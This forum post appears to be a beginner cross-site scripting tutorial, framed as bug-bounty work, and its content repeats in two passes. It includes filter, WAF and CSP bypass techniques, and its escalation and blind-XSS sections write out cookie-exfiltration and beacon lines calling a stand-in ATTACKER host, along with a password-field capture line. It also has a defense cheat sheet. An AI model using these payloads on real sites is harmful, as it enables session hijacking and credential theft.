- Joined
- Dec 30, 2024
- Messages
- 388
- Reaction score
- 206
- Points
- 62
- Website
- blackhatpakistan.net
- Points
- 1,068
- USD
- 1,068
An XSS tutorial for beginners covers cross-site scripting: the bug class where a site puts your input back into a page as executable JavaScript, in three flavors - reflected (payload bounces back in the response), stored (payload sits in the page for every visitor), and DOM-based (the page's own JavaScript reads your input and writes it unsafe). Finding all three follows one workflow: locate an input, prove script execution with a harmless alert, escalate to session theft, and hand the report with the exact payload and the vulnerable sink.
TL;DR - The proof is always a harmless alert call firing in the victim's browser context - that single call proves your script runs on the target's origin. Reflected XSS lives in URL parameters, stored XSS lives in comment/profile/message fields, DOM XSS lives in location.hash and innerHTML sinks. Filter bypass is the real skill: event handlers when script tags are stripped, encoding layers when quotes are escaped, and the JS-scheme URI for href sinks. Full payload families, bypass table, and the report format below.
THE THREE TYPES, PROVEN DIFFERENTLY
DOM detection without a server echo: open devtools, put your input in the URL, and watch the DOM tree update. If the value appears after JS runs (not in the raw response source), the sink is client-side and server-side escaping never helps.
STEP 1 - PROVE EXECUTION
The proof payload, harmless and definitive:
Why document.domain: it proves YOUR script runs on THEIR origin - a popup alert alone could be a client-side trick. That string is what goes in the report.
STEP 2 - INPUT MAP
Every place user data enters:
Test each with the three proof payloads above plus a canary: xssTEST123 - if the canary appears in the raw HTML source unescaped, the context is broken before you bother with payloads.
STEP 3 - BYPASS THE FILTER
When the script tag is stripped or escaped, the escape ladder:
Payload families by sink (full set in the cheat card at the end):
The bypass table that matters most:
STEP 4 - ESCALATE TO IMPACT
Alert proves execution - impact for the report:
Password fields are masked to JS as type=password, readable by script - one line, and the report's severity jumps from informational to critical.
STEP 5 - BLIND XSS
No echo, no visible output - the payload phones home:
Admin-only pages (ticket queues, analytics dashboards) are where blind XSS earns real severity - your payload waits patiently until a privileged session renders it.
STEP 6 - REPORT FORMAT
One payload, one URL, one screenshot - reports that bury the proof under prose get triaged slower.
DEFENSE CHEAT SHEET
FAQ
Q: Reflected vs stored - which is worse?
A: Stored, always. Reflected needs a victim to click your link; stored fires on its own against every viewer. Blind XSS stored in an admin-only view sits between them and often rates highest in bug bounty payouts.
Q: Why does my payload work in the URL but not in the report?
A: Encode it properly - the proof URL goes in the report as text, and the raw characters break markdown or ticket fields. Paste it URL-encoded, describe the decoded form separately.
Q: CSP blocked my alert - is the XSS still real?
A: Yes, with lower severity. Execution was stopped by policy, not by safe encoding - the injection still exists, and CSP bypasses (JSONP, nonce leaks, base-uri gaps) are a common follow-up. Report it as XSS mitigated by CSP.
Q: How do I find DOM XSS fast?
A: Search the source for location.hash, location.search, and innerHTML assignments, then feed canary input through each source-to-sink path. Burp's DOM Invader extension automates the tracing.
RELATED ON BLACKHAT PAKISTAN
Burp Suite Tutorial for Beginners - the proxy that captures every payload response.
SQLMap Tutorial for Beginners - the sibling injection class on the same parameter.
Advanced Web Hacking Tools - dalfox and the XSS scanning toolkit.
Kali Linux Tools List 2026 - the full web-tier stack in one list.
TL;DR - The proof is always a harmless alert call firing in the victim's browser context - that single call proves your script runs on the target's origin. Reflected XSS lives in URL parameters, stored XSS lives in comment/profile/message fields, DOM XSS lives in location.hash and innerHTML sinks. Filter bypass is the real skill: event handlers when script tags are stripped, encoding layers when quotes are escaped, and the JS-scheme URI for href sinks. Full payload families, bypass table, and the report format below.
THE THREE TYPES, PROVEN DIFFERENTLY
Code:
Reflected payload in the URL, echoed in the response - send link, victim clicks
Stored payload saved (comment, bio, message) - hits every viewer, no click bait needed
DOM client JS sinks: location.hash -> innerHTML, document.write, eval
Blind payload fires server-side effects (out-of-band HTTP, time delay) - no visible echo
DOM detection without a server echo: open devtools, put your input in the URL, and watch the DOM tree update. If the value appears after JS runs (not in the raw response source), the sink is client-side and server-side escaping never helps.
STEP 1 - PROVE EXECUTION
The proof payload, harmless and definitive:
Code:
javascript:alert(document.domain) href/link sinks, the canonical proof
quote-break plus an event handler attribute breakout
tag-break into an svg element (event family) tag-injection sink
{{7*7}} or ${7*7} template injection check first
Why document.domain: it proves YOUR script runs on THEIR origin - a popup alert alone could be a client-side trick. That string is what goes in the report.
STEP 2 - INPUT MAP
Every place user data enters:
Code:
URL parameters ?q= search fields, ?id= object refs
POST bodies forms, profile fields, comments
Headers Referer, User-Agent, X-Forwarded-For (reflected in logs/analytics pages)
Stored fields comments, display names, file upload filenames
DOM sources location.hash, location.search, document.referrer, postMessage
Test each with the three proof payloads above plus a canary: xssTEST123 - if the canary appears in the raw HTML source unescaped, the context is broken before you bother with payloads.
STEP 3 - BYPASS THE FILTER
When the script tag is stripped or escaped, the escape ladder:
Code:
Tag stripped: use event-handler tags - svg, img, body, details, video
Attribute broken: quote + space + event handler + dummy attribute
WAF in front: case variation, null bytes between letters, HTML entities (double-encoded)
CSP present: nonce reuse, JSONP endpoints, base-uri abuse - check the header first
Angle brackets gone: the JS scheme URI in href sinks, or an SVG data-URI
Payload families by sink (full set in the cheat card at the end):
Code:
HTML body sink tag-break into element context
Attribute sink quote-break, then an event handler
href sink JS scheme URI
template sink {{constructor.constructor(...)()}} constructor chain - framework-adjacent SSTI
DOM sink fragment fed straight to innerHTML
The bypass table that matters most:
Code:
Filter Bypass
----------- ------------------------------------
script tag removed element-event tags: svg, img, details families
quotes escaped unquoted attribute injection: event handler after the path
filter is case-insensitive most production filters normalize first
keywords blocked event handler synonyms - the common on-star names
CSP script-src 'self' JSONP callback abuse, gadget scripts on same origin
CSP with nonce injection into any element the page builds with the same nonce
STEP 4 - ESCALATE TO IMPACT
Alert proves execution - impact for the report:
Code:
document.cookie session token theft (non-HttpOnly)
new Image().src='https://ATTACKER/?c='+document.cookie exfil proof, one request
key form capture: document.querySelector('input[type=password]').value credential theft demo
Password fields are masked to JS as type=password, readable by script - one line, and the report's severity jumps from informational to critical.
STEP 5 - BLIND XSS
No echo, no visible output - the payload phones home:
Code:
script-tag beacon phoning home: new Image().src='https://ATTACKER/hit?u='+encodeURIComponent(location.href) wrapped in a script tag
# payload goes in stored fields only admins read: support tickets, log viewers, username fields
# waiter: a listener on your VPS; when the hit lands, the admin's browser executed your script
Admin-only pages (ticket queues, analytics dashboards) are where blind XSS earns real severity - your payload waits patiently until a privileged session renders it.
STEP 6 - REPORT FORMAT
Code:
Title: Reflected XSS in /search parameter (q)
URL: https://target.com/search?q=[PAYLOAD]
Proof: the alert call fired, screenshot attached
Sink: echo into innerHTML without encoding (line-level if source visible)
Impact: session cookie theft, account takeover of any user who opens the link
Fix: context-aware output encoding (HTML/attr/JS per sink) + CSP as defense in depth
One payload, one URL, one screenshot - reports that bury the proof under prose get triaged slower.
DEFENSE CHEAT SHEET
Code:
HTML context escape <>&"' per OWASP cheat sheet, or template engine auto-escape
Attribute context quote the attribute AND escape the quote
JavaScript context JSON-encode before embedding, never string-concat JS from data
URL context validate scheme (http/https only), never script-scheme URIs
DOM sinks textContent over innerHTML, sanitize with DOMPurify when HTML is required
CSP script-src 'self' + nonce, object-src 'none', base-uri 'self'
FAQ
Q: Reflected vs stored - which is worse?
A: Stored, always. Reflected needs a victim to click your link; stored fires on its own against every viewer. Blind XSS stored in an admin-only view sits between them and often rates highest in bug bounty payouts.
Q: Why does my payload work in the URL but not in the report?
A: Encode it properly - the proof URL goes in the report as text, and the raw characters break markdown or ticket fields. Paste it URL-encoded, describe the decoded form separately.
Q: CSP blocked my alert - is the XSS still real?
A: Yes, with lower severity. Execution was stopped by policy, not by safe encoding - the injection still exists, and CSP bypasses (JSONP, nonce leaks, base-uri gaps) are a common follow-up. Report it as XSS mitigated by CSP.
Q: How do I find DOM XSS fast?
A: Search the source for location.hash, location.search, and innerHTML assignments, then feed canary input through each source-to-sink path. Burp's DOM Invader extension automates the tracing.
RELATED ON BLACKHAT PAKISTAN
Burp Suite Tutorial for Beginners - the proxy that captures every payload response.
SQLMap Tutorial for Beginners - the sibling injection class on the same parameter.
Advanced Web Hacking Tools - dalfox and the XSS scanning toolkit.
Kali Linux Tools List 2026 - the full web-tier stack in one list.
Code:
proof the alert call on document.domain - the report string
body sink tag-break into element context (svg event family)
attr sink quote-break then event handler (focus/mouseover family)
exfil new Image().src='https://ATTACKER/?c='+document.cookie
blind store payload in admin-only field, wait for the phone home
encode URL-encode payloads when pasting into reports